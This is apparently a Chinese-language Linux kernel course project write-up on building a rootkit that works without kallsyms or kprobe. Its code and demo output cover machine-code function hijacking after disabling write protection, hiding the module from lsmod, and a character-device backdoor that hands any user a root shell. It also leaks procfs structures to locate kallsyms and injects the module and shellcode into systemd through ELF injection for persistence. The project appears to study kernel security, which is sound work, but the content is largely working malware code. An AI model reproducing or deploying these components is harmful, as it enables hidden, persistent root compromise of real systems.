Try   HackMD

Linux 核心專題: rootkit 評估及應用

執行人: rota1001
GitHub

任務簡述

本專題提出一套不依賴 kallsyms 與 kprobe 的 Linux 核心 rootkit 實作手法,達成對多種核心組態的潛伏與操控。透過機器碼直接修改,本 rootkit 可透明地控制 sys_getdents64, procfs 以及 seq_operations 等關鍵介面,達成檔案與行程的隱匿。再者,藉由側錄 bsearch 與 x64_sys_call 函式並進行堆疊追蹤分析,無需仰賴符號表揭露,即可取得 ksymtab 與系統呼叫表的實體地址。本 rootkit 支援核心層級的行程隱藏、網路連線偽裝、權限提升、remote shell 建立,以及核心模組的永續注入等功能,並實作靜態 ELF 程式碼注入,使 rootkit 可藉由 Live USB 植入並於開機階段自動啟動。

為什麼不希望依賴 kallsyms 和 kprobe

現有的 kernel rootkit 在查詢沒有釋放出來的函式地址大部份是使用 kprobe,而 kprobe 的實作依賴於 kallsyms。然而,kallsyms 是可以在核心的編譯階段關掉的,所以這裡為了相容於各種核心組態就開始嘗試做出不依賴於 kallsyms 和 kprobe 的 kernel rootkit。

rootkit 案例閱讀

參考資料:https://github.com/milabs/awesome-linux-rootkits

caraxes

https://github.com/ait-aecid/caraxes

這個專案做的是在核心中去 hook sys_getdents64 來隱藏檔案。

ftrace hooking

using-ftrace-to-hook-to-functions

註冊一個 callback function,在執行某個函式之前去修改暫存器的值,以達到 hook 函式的效果,這個方法不需要去改 syscall table,所以不需要去寫 cr0。

hook->ops.func = fh_ftrace_thunk;
hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS
				| FTRACE_OPS_FL_RECURSION
				| FTRACE_OPS_FL_IPMODIFY;

err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0);
...
err = register_ftrace_function(&hook->ops);

首先會用 ftrace_set_filter_ip 篩選出哪些函數要被 hook,然後用 register_ftrace_function 去註冊。

這個 ops 是一個 ftrace_ops 結構體,去設定被 hook 的函式被呼叫的時候要呼叫哪個 callback function,然後設定 flags,這些 flags 有以下意義:

  • FTRACE_OPS_FL_SAVE_REGS:讓 callback function 可以讀寫暫存器
  • FTRACE_OPS_FL_RECURSION:讓 callback function 中不會遞迴觸發 callback function
  • FTRACE_OPS_FL_IPMODIFY:可以修改 ip(就是 program counter)

callback function 是以下這個形狀:

void callback_func(unsigned long ip, unsigned long parent_ip,
                   struct ftrace_ops *op, struct pt_regs *regs);

其中 parent_ip 是這個函式被從哪裡呼叫的,可以用這個來判斷是不是在這個核心模組被呼叫的:

if (!within_module(parent_ip, THIS_MODULE))
	regs->ip = (unsigned long)hook->function;

hook_sys_getdents64

如何去隱藏檔案呢?一個 linux_dirent 對應到的是一個檔案,裡面有一個元素是 d_reclen 代表這個檔案的長度。在走訪一個目錄下所有檔案的時候會用這個數字來找到下一個檔案,所以只要去修改上一個檔案的 d_reclen 就能讓使用者找不到這個檔案(是在回傳給使用者的地方做修改,而不是真的在硬碟上做修改),如果這個檔案在最前面的話,就會把後面所有的檔案做前移。

隱藏核心模組

就是把內嵌在這個核心模組結構體的 list_headmodule_list 裡面去除掉。至於 show 的話就是把它重新加回來。

struct list_head *prev_module = NULL;

void hide_module(void) {
	if (!prev_module) {
		prev_module = THIS_MODULE->list.prev;
		list_del(&THIS_MODULE->list);
	}
}

void show_module(void) {
	if (prev_module) {
		list_add(&THIS_MODULE->list, prev_module);
		prev_module = NULL;
	}
}

這裡用 VFS 界面來做實驗:

ssize_t test_read(struct file *file, char __user *buf, size_t, loff_t *off) {
    hide_module();
    return 0;
}

ssize_t test_write(struct file *file, const char __user *buf, size_t len, loff_t *off) {
    show_module();
    return len;
}

一開始掛載之後,是看得到核心模組的:

$ lsmod | grep wp 
wp                     20480  0

然後對它進行 read 之後,會發現看不到了:

$ cat /dev/test
$ lsmod | grep wp
$

再對它進行 write 之後它又出現了:

$ echo "yee" > /dev/test
$ lsmod | grep wp
wp                     20480  0

rooty

https://github.com/jermeyyy/rooty

hijack

這裡拿來 hook 函式的方式不是去改 syscall table,而是直接改機器碼。

memcpy(n_code, "\x68\x00\x00\x00\x00\xc3", HIJACK_SIZE);
*(unsigned long *)&n_code[1] = (unsigned long)new;

上面的 n_code 是會被寫入函數開頭的位置的,去進行反組譯會發現:

   0:   68 00 00 00 00          push   0x0
   5:   c3                      ret

它其實是把函式指標 push 進去堆疊中,再 ret,所以防寫保護關掉之後在架構正確的情況下是一個很通用的 hook。

以下我在 linux 6.11 成功的把它實作出來。rooty 針對的是 x86 32 位元的架構,而我則是在 64 位元上,再加上新版本有其他分頁機制,所以要稍做修改。

關閉防寫保護

要寫 shellcode 的話必須關掉防寫保護,在 linux 5.3 之後需要自己去寫 cr0,然而我跟著 lkmpg 去做之後發現它會出錯,於是找到了這個 patch,在清除 cr0 的 WP 之前要先清掉 cr4 的 CET,所以我寫了以下幾個函式:

static unsigned long cr4;

static void init_cr4(void)
{
    asm volatile("mov %%cr4,%0": "=r"(cr4): : );
}

static void disable_wp(void)
{
    unsigned long cr0;
    cr0 = read_cr0();
    
    if (cr4 & X86_CR4_CET)
        asm volatile("mov %0,%%cr4" : :"r"(cr4 & ~X86_CR4_CET): "memory");

    asm volatile("mov %0,%%cr0" : : "r"(cr0 & ~X86_CR0_WP) : "memory");
}

static void enable_wp(void)
{
    unsigned long cr0;
    cr0 = read_cr0();
    asm volatile("mov %0,%%cr0" : : "r"(cr0 | X86_CR0_WP) : "memory");
    if (cr4 & X86_CR4_CET)
        asm volatile("mov %0,%%cr4" : :"r"(cr4): "memory");
}

首先初始化 cr4,然後用 disable_wpenable_wp 把需要關閉防寫保護的操作包住,這樣就能成功關掉防寫保護。

寫 shellcode

首先用 pwntools 去看一下 x86 要怎麼做到一樣的事情:

from pwn import *

code = asm("""
    movabs rax, 0x0807060504030201;
    push  rax;
    ret ;
    """,arch="amd64")

print(bytes(code))
# b'H\xb8\x01\x02\x03\x04\x05\x06\x07\x08P\xc3'

所以我們只要在 0102030405060708 的部份填上地址就好,於是修改成這樣的實作:

memcpy(n_code, "H\xb8\x00\x00\x00\x00\x00\x00\x00\x00P\xc3", HIJACK_SIZE);
*(unsigned long *)&n_code[2] = (unsigned long)new;

memcpy(o_code, target, HIJACK_SIZE);
printk("org_target: %lx\n", *(unsigned long *)target);
disable_wp();
memcpy(target, n_code, HIJACK_SIZE);
enable_wp();
demo

我建了兩個函式 AB

void A(int x)
{
    printk("funcA: x = %x\n", x);
}

void B(int x)
{
    printk("funcB: x = %x\n", x);
}

並且在 hello_init 裡去做 hook,然後呼叫 A 函式:

static int __init hello_init(void)
{
    init_cr4();
    hook_start(A, B);
    A(13);
    return 0;
}

掛載之後,成功的呼叫了 B 函式:

[ 2440.989418] funcB: x = d

find syscall table from idt table

這個作法我想現在已經不適用了,原因是因為現在的系統呼叫已經不用 sys_call_table 了。這個方法首先去找 idt table,其中第 0x80 項放的是 syscall handler 的相關資訊,下面是 32 位元的實作,我在 asm/desc_defs.h 中找到一個 gate_offset 函數可以把函數地址求出來,32 位元和 64 位元都適用。接下來,它去尋找機器碼中有沒有 \xff\x14\x85 這個字串,下面去看一下這個字串的意義。

unsigned long *find_sys_call_table ( void )
{
    char **p;
    unsigned long sct_off = 0;
    unsigned char code[255];

    asm("sidt %0":"=m" (idtr));
    memcpy(&idt, (void *)(idtr.base + 8 * 0x80), sizeof(idt));
    sct_off = (idt.off2 << 16) | idt.off1;
    memcpy(code, (void *)sct_off, sizeof(code));

    p = (char **)memmem(code, sizeof(code), "\xff\x14\x85", 3);

    if ( p )
        return *(unsigned long **)((char *)p + 3);
    else
        return NULL;
}

我們使用 pwntools 去反組譯一下:

from pwn import *

print(disasm(b"\xff\x14\x85\x01\x02\x03\x04", arch="amd64"))
#    0:   ff 14 85 01 02 03 04    call   QWORD PTR [rax*4+0x4030201]

這看起來就是一個陣列的讀取,合理猜測這裡在讀 syscall table,所以可以直接把地址讀出來。

提權後門

使用 commit_cred 可以去改變權限,我這裡寫了一個核心模組,透過 character device 去進行提權:

ssize_t wp_read(struct file *file, char __user *buf, size_t, loff_t *off) {
    struct cred *new_cred = prepare_creds();
    if (!new_cred)
        return -ENOMEM;

    new_cred->uid.val = 0;
    new_cred->gid.val = 0;
    new_cred->euid.val = 0;
    new_cred->egid.val = 0;
    new_cred->fsuid.val = 0;
    new_cred->fsgid.val = 0;
    new_cred->suid.val = 0;
    new_cred->sgid.val = 0;

    commit_creds(new_cred);

    return 0;
}

然後在使用者空間執行這樣的程式:

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>

int main() {
    printf("%d\n", getuid());
    int fd = open("/dev/wp", O_RDONLY);
    int n = read(fd, NULL, NULL);
    printf("%d\n", getuid());
    execve("/bin/sh", 0, 0);
}

然後就拿到 root 了:

$ ./user
1000
0
# whoami
root

hijack vfs with path

這個方法是使用 flip_open 去取得特定路徑的檔案結構體,並且劫持其中的 VFS 界面,這裡做個簡單的復現。未方便起見,我先把創建 character device 的方式寫成這樣的函式:

int create_dev(char *name, int *pmajor, struct class **pcls, struct file_operations *ops)

首先我創建了兩個 read 函式,並且讓受害者的 read 函式一開始是 victim_read

ssize_t victim_read(struct file *file, char __user *buf, size_t, loff_t *off) {
    printk(KERN_ALERT "victim\n");
    return 0;
}

ssize_t evil_read(struct file *file, char __user *buf, size_t, loff_t *off) {
    printk(KERN_ALERT "evil\n");
    return 0;
}

static struct file_operations victim_ops = {
    .read = victim_read
};

原本 rooty 專案裡面是去劫持 readdir,這只有在比較舊的版本裡有(我大致看 4.* 就修掉了),現在 file_operations 裡已經沒有這個操作了,於是這裡我去劫持 read

unsigned long get_vfs_read(char *path) {
    void *ret;
    struct file *filep;

    if ( IS_ERR(filep = filp_open(path, O_RDONLY, 0)))
        return PTR_ERR(filep);

    ret = filep->f_op->read;
    filp_close(filep, 0);

    return ret;
}

然後,我創建叫做 victim 的 character device,獲取他的 read 函式,並且進行 hook:

static int __init hello_init(void)
{
    init_cr4();
    int ret = create_dev(VICTIM, &victim_major, &victim_cls, &victim_ops);
    if (ret < 0)
        return ret;
    
    unsigned long victim_read_pos = get_vfs_read("/dev/" VICTIM);
    if (victim_read_pos < 0) {
        destroy_dev(VICTIM, victim_major, victim_cls);
        return victim_read_pos;
    }
    printk("victim_read_pos: %lx\n", victim_read_pos);
    hook_start(victim_read_pos, evil_read);
    
    return 0;
}
demo

掛載核心模組之後,進行 cat /dev/victim,然後用 dmesg 看看:

[  326.094116] device /dev/victim is created
[  326.094126] victim_read_pos: ffffffffc22d8b00
[  388.945643] evil

可以發現 read 被成功 hook 了。

keylogger

register_keyboard_notifier 可以去註冊一個鍵盤事件的 callback function,用他來進行按鍵側錄。

krf

https://github.com/trailofbits/krf

這個專案在做 fault injection,也就是通過讓系統呼叫機率性回傳錯誤結果來測試軟體,它用的手法和上面提到的差不多。使用 kprobe 去找到 kallsyms_lookup_name,並且用它去找到 sys_call_table,hook 的方式是去修改 sys_call_table,並且使用 VFS 界面去做控制。我想這個方法同樣現在不適用了(因為是改 sys_call_table),不過可以用 ftrace hook 或是修改機器碼做到同樣事情。

Reptile

https://github.com/f0rb1dd3n/Reptile

hook

他的 hook 方式是寫機器碼,不一樣的地方是它可以跳回去。要完成這個功能就必須要另外分配一段可執行的區域,這裡使用 set_memroy_x 來設定:

set_memory_x = khook_lookup_name("set_memory_x");
if (set_memory_x) {
	int numpages = round_up(KHOOK_STUB_TBL_SIZE, PAGE_SIZE) / PAGE_SIZE;
	set_memory_x((unsigned long)khook_stub_tbl, numpages);
}

persistence

將啟動腳本放到 /etc/init.d,並請使用 update-rc.d 去做安裝。

動態加載核心模組

kmatryoshka.c 中,它先把一段數據解密之後,使用 sys_init_module 去加載核心模組。
這裡根據 linux_kernel_hacking 去使用 init_module 加載核心模組:
使用以下命令可以將核心模組輸出成二進制資料:

$ xxd -i wp.ko
unsigned char wp_ko[] = {
  0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x10, 0xff, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00,
  ...
 };
 unsigned int wp_ko_len = 396496;

於是另外寫一個 user.c 來加載核心模組:

#include <linux/module.h>
#include <syscall.h>
#include <stdio.h>

const char args[] = "\0";

int main() {
    init_module(wp_ko, wp_ko_len, args);
}

然後在 Makefile 裡面將 wp.ko 行程的二進制資料陣列與 user.c 的程式碼一起編譯:

user: module
    xxd -i wp.ko >> tmp.c
    cat user.c >> tmp.c
    gcc tmp.c -o user
    rm tmp.c

然後就可以執行 ./user,並且看到核心模組成功被掛載:

$ sudo ./user
$ sudo lsmod | grep wp
wp                     16384  0

puszek-rootkit

https://github.com/Eterna1/puszek-rootkit

它很酷的點是它寫唯讀區域的方式。

修改 pte 讀寫權限

它是得到特定地址的 pte,把它設成可讀寫的,在較新的核心版本也適用:

//set a page writeable
int make_rw(unsigned long address)
{
    unsigned int level;
    pte_t *pte = lookup_address(address, &level);
    pte->pte |= _PAGE_RW;
    return 0;
}
 
//set a page read only
int make_ro(unsigned long address)
{ 
    unsigned int level;
    pte_t *pte = lookup_address(address, &level);
    pte->pte = pte->pte & ~_PAGE_RW;
    return 0;
}

我用這個去改寫我的 hook_start 函式:

void hook_start(void *target, void *new)
{
    ...
+   make_rw(target);
-   disable_wp();
    memcpy(target, n_code, HIJACK_SIZE);
+   make_ro(target);
-   enable_wp();
    ...
}

去做上面做的實驗,發現成功的 hook 了:

[126084.453713] pte: ffff9e577200f6c0
[126084.453744] funcB: x = c
[126084.453746] hello

利用 proc_dir_entry 進行資訊洩漏

想法

rooty 這個專案可以看到它利用 filep_open 去找到特定路徑的 file_operations 結構體,以劫持對應目錄的 VFS 界面。這個方法的價值是不管對應的檔案操作函式的 symbol 有沒有被釋放出來,只要我知道那個目錄的路徑我都能獲得它所有的檔案操作函式。然而,專案內使用的 readdir 函式在 linux 3.11 之後就已經從 file_operations 裡面移除了。而目前我實驗上,如果我建立一個 process file,使用 filep_open 打開之後,那個 file 結構體裡面的 file_operations 結構體和我用來註冊的 proc_ops 結構體裡面的函式是不一樣的,所以需要去找到新的方法做這件事情。

以下做的事情是去了解 proc_dir_entry 的資料結構,並且利用創建惡意檔案來得到根目錄的地址。另外,在 linux 原始碼中這個結構體有 __randomize_layout,所以以下會在不知道結構體內部實作的前提下,利用紅黑樹結點的結構去計算出偏移量。

這樣可以做到什麼事情呢?舉個例子,在 /proc 底下有 kallsyms,可以讀 symbol,那我利用這個方法獲取了 proc_dir_entry 結構體,又計算出 proc_ops 的偏移量,所以我能找到 proc_read 的函式指標,所以就能獲取 symbol。

觀察 procfs 實作

首先去追蹤 proc_create實作,可以發現他是要讓一個結構體 p 變成另一個結構體 parent 的子節點,我們繼續追蹤 pparent 的關係,會發現最後進到了 pde_subdir_insert 這個函式裡面:

static bool pde_subdir_insert(struct proc_dir_entry *dir,
			      struct proc_dir_entry *de)
{
	struct rb_root *root = &dir->subdir;
	struct rb_node **new = &root->rb_node, *parent = NULL;

	/* Figure out where to put new node */
	while (*new) {
		struct proc_dir_entry *this = rb_entry(*new,
						       struct proc_dir_entry,
						       subdir_node);
		int result = proc_match(de->name, this, de->namelen);

		parent = *new;
		if (result < 0)
			new = &(*new)->rb_left;
		else if (result > 0)
			new = &(*new)->rb_right;
		else
			return false;
	}

	/* Add new node and rebalance tree. */
	rb_link_node(&de->subdir_node, parent, new);
	rb_insert_color(&de->subdir_node, root);
	return true;
}

會發現,這是一個紅黑樹的插入,使用名字字典序來做大小比較。

這裡統整一下這段程式碼可以看到的事情,proc_dir_entry 中的 subdir 是一個紅黑樹的根,這棵紅黑樹裡面裝的是所有在這個目錄底下的東西(就這一層,目錄底下的目錄中的東西不算),而紅黑樹的節點是內嵌在 proc_dir_entry 中的 subdir_node

那所以我創建一個 process file 就能把所有 process file 的資訊都洩漏出來了嗎?去看了 proc_dir_entry 的結構發現他有一個 __randomize_layout 巨集,在某些組態上這個結構體會根據編譯階段決定的種子隨機分佈,所以我應該在不知道結構體內部實作的前提下來做到這件事情。

那我想,我有方法能判斷一個指標是否為有效指標,又能對指標進行讀取,那如果創建一些惡意的檔案與目錄,就能利用樹的結構去枚舉偏移量了。

偏移量計算

首先是創建 parentchildgrandchild 這樣的檔案結構:

static struct proc_dir_entry *parent, *child, *grandchild; 
parent = proc_mkdir("parent", NULL);
if (!parent)
    goto DONE;
child = proc_mkdir("child", parent);
if (!child)
    goto REMOVE;
grandchild = proc_create("grandchild", 0644, child, &proc_file_fops);
if (!grandchild)
    goto REMOVE;

unsigned long *parent_arr = (unsigned long *)parent;
unsigned long *child_arr = (unsigned long *)child;
unsigned long *grandchild_arr = (unsigned long *)grandchild;

另外定義了這樣的獲取成員的巨集:

#define get_member_ptr(base, offset, type) ((type *)(((char *)(base)) + (offset)))

目標

我要去計算以下這些偏移量或地址:

static int name_offset = 0;
static int parent_offset = 0;
static int subdir_offset = 0;
static int subdir_node_offset = 0;
static int proc_ops_offset = 0;
static struct proc_dir_entry *proc_root = 0;

name

這就枚舉看看哪個指標是名字:

// find `char *name` offset
for (int i = 0; i < 100; i++) {
    char buf[7];
    if (copy_from_kernel_nofault(buf, parent_arr[i], 6) < 0)
        continue;
    buf[6] = 0;
    if (!strcmp(buf, "parent")) {
        name_offset = i * sizeof(unsigned long);
        break;
    }
}
printk("name_offset: 0x%x\n", name_offset);

parent

在 child 中枚舉看哪個是 parent:

// find `struct proc_dir_entry *parent` offset
for (int i = 0; i < 100; i++)
    if (child_arr[i] == (unsigned long)parent) {
        parent_offset = i * sizeof(unsigned long);
        break;
    }
printk("parent_offset: 0x%x\n", parent_offset);

subdir

這是紅黑樹的根。在 parentchild 的樹中,現在都只有一個節點,分別是 childgrandchildsubdir_node,而他們內嵌在結構體中,所以相對於結構體開頭的偏移量是相同的,可以利用這樣去計算:

for (int i = 0; i < 100; i++)
    if (parent_arr[i] - (unsigned long)child
    == child_arr[i] - (unsigned long)grandchild) {
        subdir_offset = i * sizeof(unsigned long);
        break;
    }
printk("subdir_offset: 0x%x\n", subdir_offset);

subdir_node

直接把前述的那個偏移量拿來用就好:

// find `struct rb_node subdir_node`
subdir_node_offset = *get_member_ptr(parent, subdir_offset, unsigned long)
                    - (unsigned long)child;
printk("subdir_node: 0x%x\n", subdir_node_offset);

proc_ops

在創建 process file 的時候,註冊的那個 proc_ops 會被複製一份,所以指標不會一樣,不過裡面的函式指標會是一樣的,只要計算好偏移量去對照函式指標就好了:

// find `struct proc_ops *proc_ops`
for (int i = 0; i < 100; i++) {
    unsigned long addr;
    if (copy_from_kernel_nofault(&addr, grandchild_arr[i] + offsetof(struct proc_ops, proc_read), sizeof(addr)) < 0)
        continue;
    
    if (addr == (unsigned long)proc_file_fops.proc_read) {
        proc_ops_offset = i * sizeof(unsigned long);
        break;
    }
}
printk("proc_ops_offset: 0x%lx\n", proc_ops_offset);

proc_root

這是要找到 /proc 這個目錄的 proc_dir_entry,這樣以後要什麼目錄就能直接用二元搜尋樹的查詢就好。因為之前已經有把結構體中的 parent 的偏移量計算出來了,所以就能簡單的計算:

// find root
proc_root = *get_member_ptr(parent, parent_offset, struct proc_dir_entry *);

demo

我首先去計算偏移量與獲取根節點,並且呼叫以下的 test 函式:

void dfs(struct rb_node *node)
{
    if (!node)
        return;
    dfs(node->rb_left);
    printk("dfs: %s\n",
           *get_member_ptr(node, -subdir_node_offset + name_offset, char *));
    dfs(node->rb_right);
}


void test(struct proc_dir_entry *parent)
{
    struct rb_node *node
        = get_member_ptr(parent, subdir_offset, struct rb_root)->rb_node;
    printk("test: %lx\n", node);
    dfs(node);
}

這個函式能把這個目錄底下所有東西印出來,去掛載之後用 dmesg 查看:

[97187.098941] name_offset: 0xa0
[97187.098952] parent_offset: 0x78
[97187.098955] subdir_offset: 0x80
[97187.098957] subdir_node: 0x88
[97187.098959] proc_ops_offset: 0x30
[97187.098967] test: ffff9e56c0301108
[97187.098970] dfs: fb
[97187.098973] dfs: fs
[97187.098975] dfs: bus
[97187.098977] dfs: dma
[97187.098979] dfs: irq
[97187.098981] dfs: mtd
[97187.098982] dfs: net
[97187.098984] dfs: sys
[97187.098986] dfs: tty
[97187.098988] dfs: acpi
[97187.098990] dfs: keys
[97187.098992] dfs: kmsg
...

可以發現在那裡面的東西都被印出來了,且在中序走訪的過程中是按照字典序排列(長度不一樣時以長度優先),下面可以看到確實有 kallsyms

$ sudo dmesg | grep "97187" | grep "kallsyms"
[97187.099088] dfs: kallsyms

另外也可以去寫一個二元搜尋的函式就能找到特定目錄或檔案:

struct proc_dir_entry *find_child(struct proc_dir_entry *parent, char *name)
{
    struct rb_node *node = 
        get_member_ptr(parent, subdir_offset, struct rb_root)->rb_node;
    while (node) {
        int k = 
            cmp(name, *get_member_ptr(node,-subdir_node_offset + name_offset, char *));
        if (k < 0)
            node = node->rb_left;
        else if (k > 0)
            node = node->rb_right;
        else
            return get_member_ptr(node, -subdir_node_offset, struct proc_dir_entry);
    }

    return NULL;
}

使用 inode 進行更一般化的資訊洩漏

上述方法有嚴重的侷限性,因為 procfs 中有些子系統雖然沿用 proc_dir_entry,但是仰賴特殊實作,譬如 /proc/net 就是一個很好的例子。如果去觀察 /proc/net 的 PDE(Process Directory Entry) 的話,會發現他的子目錄是空的。實際上,他的 PDE 是另外在其他地方紀錄的,這部份在隱藏網路連線會做詳細的探討。

如果去觀察在 linux/fs/proc/generic.c 中對 proc_readdir 的實作,可以看到他是使用 PDE 這個函式來從一個 inode 找到他的 PDE 的。我們去觀察一下他的實作:

static inline struct proc_inode *PROC_I(const struct inode *inode)
{
	return container_of(inode, struct proc_inode, vfs_inode);
}

static inline struct proc_dir_entry *PDE(const struct inode *inode)
{
	return PROC_I(inode)->pde;
}

可以看到這個 inode 結構體是被內嵌在 proc_inode 結構體裡面的 vfs_inode 成員,而這個 proc_inode 結構體中有一個 proc_dir_entry 結構體的指標 pde

image

於是,現在我們如果有 inode 的指標,就可以得到 PDE 了。這時,我發現之前我們丟掉的東西有用了,用 filp_open 打開的檔案有 inode,這個 inode 會不會是一樣的東西呢?答案是會的,於是,我們可以用 filp_open 去獲得 PDE 了。

commit 1e560ab

使用拿來開機的 bzImage 建立精簡實驗環境

這可以不用自行編譯核心的方式就獲得一個實驗環境(當然我還是有用 buildroot 去編譯其他版本的核心)。
可以這樣獲得自己拿來開機的 bzImage:

$ cp /boot/vmlinuz-`uname -r` ./bzImage

還可以這樣看看現在在運行的作業系統是怎麼開機的:

$ cat /proc/cmdline
# BOOT_IMAGE=/@/boot/vmlinuz-6.11.0-25-generic ...

接下來建立一個 rootfs,下面 建立精簡 Live USB 的部份會提到如何建立它,這裡敘述怎麼把它打包成一個 .ext4 的映像檔(以 ext4 檔案系統為例)。
首先建立空白檔案:

$ dd if=/dev/zero of=rootfs.ext4 bs=1M count=300

這個意思是從 /dev/zero 輸入,輸出到 rootfs.ext4,一個單位是 1MB,輸出 300 個單位。於是現在有一個空白檔案,接下來用 mkfs.ext4 把它格式化成 ext4 的格式:

$ mkfs.ext4 rootfs.ext4

接下來掛載,把該放的東西放進去,最後再 umount

$ sudo mount rootfs.ext4 /mnt/rootfs
# copy some file
$ sudo umount /mnt/rootfs

然後確保已經安裝 qemu 了,寫一個啟動腳本:

#!/bin/sh
qemu-system-x86_64 \
  -kernel bzImage \
  -drive file=rootfs.ext4,if=virtio,format=raw \
  -append "console=ttyS0 root=/dev/vda rw" \
  -net nic,model=virtio \
  -net user \
  -nographic

對它 chomd +x,接下來執行,就會成功開機了。而且這個方法使用原本作業系統的 header 編譯出的核心模組是能直接運行在上面的,因為現在運行的作業系統就是用它來啟動的。

Persistence

我看現在大部份作法是在 init.d 裡面去放東西,但是這會依賴於發行板。於是我的作法是使用靜態的 ELF code injection 把核心模組與 shellcode 塞進 systemd 裡面(可以去建一個陣列去放所有可能會作為 init 的執行檔)。

這裡的實作參考 drow 專案。

首先簡單講一下下面會用到的一些 ELF 的結構。

ELF 結構

ELF header

typedef struct
{
  ...
  Elf64_Addr	e_entry;		/* Entry point virtual address */
  Elf64_Off	e_phoff;		/* Program header table file offset */
  Elf64_Off	e_shoff;		/* Section header table file offset */
 ...
  Elf64_Half	e_phnum;		/* Program header table entry count */
  Elf64_Half	e_shentsize;		/* Section header table entry size */
  Elf64_Half	e_shnum;		/* Section header table entry count */
  Elf64_Half	e_shstrndx;		/* Section header string table index */
} Elf64_Ehdr;

ELF 有一個 ELF header,放在整個執行檔的開頭位置,可以用 Elf64_Ehdr 這個結構體去解析。如果 image 是整個執行檔內容的開頭指標,那可以這樣獲得它:

Elf64_Ehdr *elf_header = (Elf64_Ehdr *) image;

e_entry 是執行檔的進入點,是一個虛擬地址,在後續會設定它。
e_shoffe_phoff 是這個 ELF header 中的兩個元素,可以用來獲得 section headers 和 program headers 兩個陣列:

Elf64_Shdr *section_headers = (Elf64_Shdr *) (image + elf_header->e_shoff);
Elf64_Phdr *program_headers = (Elf64_Phdr *) (image + elf_header->e_phoff);

program header 描述的是 segment,section header 描述的是 section。section 會包含在 segment 裡面。而這兩個 headers 陣列各包含著很多 header,每個 header 描述的就是分別表示一個 segment 或 section。在 ELF header 中有 e_phnume_shnum 兩個元素,分別代表 program header 和 section header 的數量。

program header

typedef struct
{
  Elf64_Word	p_type;			/* Segment type */
  Elf64_Word	p_flags;		/* Segment flags */
  Elf64_Off	p_offset;		/* Segment file offset */
  Elf64_Addr	p_vaddr;		/* Segment virtual address */
  Elf64_Addr	p_paddr;		/* Segment physical address */
  Elf64_Xword	p_filesz;		/* Segment size in file */
  Elf64_Xword	p_memsz;		/* Segment size in memory */
  Elf64_Xword	p_align;		/* Segment alignment */
} Elf64_Phdr;

p_flags 是 RWX 的標示,p_offset 是這個區段在這個檔案裡面的偏移量,p_vaddr 是指映射進記憶體時的地址,如果有開 ASLR 的話,那他會是相對偏移量。p_filesz 是他在檔案中佔的大小,p_memsz 是他在記憶體中佔的大小。

section header

typedef struct
{
  Elf64_Word	sh_name;		/* Section name (string tbl index) */
  Elf64_Word	sh_type;		/* Section type */
  Elf64_Xword	sh_flags;		/* Section flags */
  Elf64_Addr	sh_addr;		/* Section virtual addr at execution */
  Elf64_Off	sh_offset;		/* Section file offset */
  Elf64_Xword	sh_size;		/* Section size in bytes */
  ...
} Elf64_Shdr;

sh_addr 是這個 section 在記憶體中的虛擬地址,sh_offset 是他在檔案中的偏移量。

ELF code injection

首先找到可執行的 segment(也就是有 PF_X 這個標誌的),接下來在這個 segment 中找到合法的 section,這裡的 section 有以下一些限制。在檔案中與下一個 section 的空隙要大於等於 patch_size,在虛擬地址中,與下一個 section 的空隙要大於等於 patch_size。這不難理解,因為不管在檔案還是在記憶體中都不能與下一個 section 重疊。

這裡會遇到一個問題,在不想對執行檔有太大變動的情況下,section 之間的空隙是非常有限的,除非合法的 segment 和 section 都在最尾端(當然是還需要移動一些東西),所以像是核心模組這樣的東西不適合放進去。於是,我的作法是把它塞在檔案的尾端,對齊 PAGE_SIZE。在 shellcode 裡面將它使用 mmap 映射進記憶體中(對齊 PAGE_SIZE 的目的就在這裡)。

這個想法是很簡單的,接下來是實作的部份。

實作細節

找合適的區段就只是在解析 ELF 而已,這裡不多贅述:

commit 0ce8e39

怎麼把核心模組轉換成一個陣列並且使用 user program 載入呢?
首先產生一個 object file,然後我們能用 objdump 去看他的內容:

$ ld -s -r -b binary rootkit.ko -o rootkit.ko.o
objdump -t rootkit.ko.o 

會看到以下訊息:

rootkit.ko.o:     file format elf64-x86-64

SYMBOL TABLE:
0000000000000000 l    d  .data	0000000000000000 .data
0000000000034a98 g       *ABS*	0000000000000000 _binary_rootkit_ko_size
0000000000000000 g       .data	0000000000000000 _binary_rootkit_ko_start
0000000000034a98 g       .data	0000000000000000 _binary_rootkit_ko_end

這些東西可以在 user program 中使用 extern char[] 來獲得(只要編譯時將這個 object file 加入編譯),可以參考 你所不知道的 C 語言:連結器和執行檔資訊
於是我們可以這樣掛載核心模組:

extern const char _binary_rootkit_ko_start[];
extern const char _binary_rootkit_ko_end[];


int main()
{
    if (syscall(SYS_init_module, _binary_rootkit_ko_start,
                _binary_rootkit_ko_end - _binary_rootkit_ko_start,
                (char[]){'\0'})) {
        puts(WARN "You are not root");
        return -1;
    }
    return 0;
}

當然,在注入進去的程式碼要使用 x86 組合語言去達成這件事情。
另外,shellcode 也可以向這樣變成一個可以 extern 的陣列,把編譯出來的部份只有 .text 區段被複製出來,變成一個 binary file,然後再用相同方式去產生一個 object file:

$ gcc -c shellcode.s -o shellcode.o
$ objcopy -O binary --only-section=.text shellcode.o shellcode.bin
$ ld -s -r -b binary shellcode.bin -o shellcode.o

現在我們有辦法寫組合語言,獲得一個由機器碼組成的陣列,也可以把核心模組變成一個陣列,於是可以開始寫 shellcode 了。
首先是進入和退出的部份:

entry:
    push rdi
    push rsi
    push rdx
    push r10
    push r8
    push r9
...
return:
    mov rax, [rip + off]
    lea rcx, [rip + base]
    sub rcx, rax
    pop r9
    pop r8
    pop r10
    pop rdx
    pop rsi
    pop rdi
    jmp rcx

我把它叫做 context switch,因為它做的事情是保存舊的暫存器狀態,且隨後恢復。另外,與原本的 entry point 之間的偏移量資訊也紀錄在這個 shellcode 裡面,會由注入 shellcode 的程式來進行計算與修改,這裡會預留空間,並且以相對 rip 的地址去取得:

off:
    .space 8

evil_base:
    .space 8

evil_size:
    .space 8

zero:
    .asciz ""

在中間做的事情就是分別叫了 openmmapinit_module 三個系統呼叫:

payload:
    ...
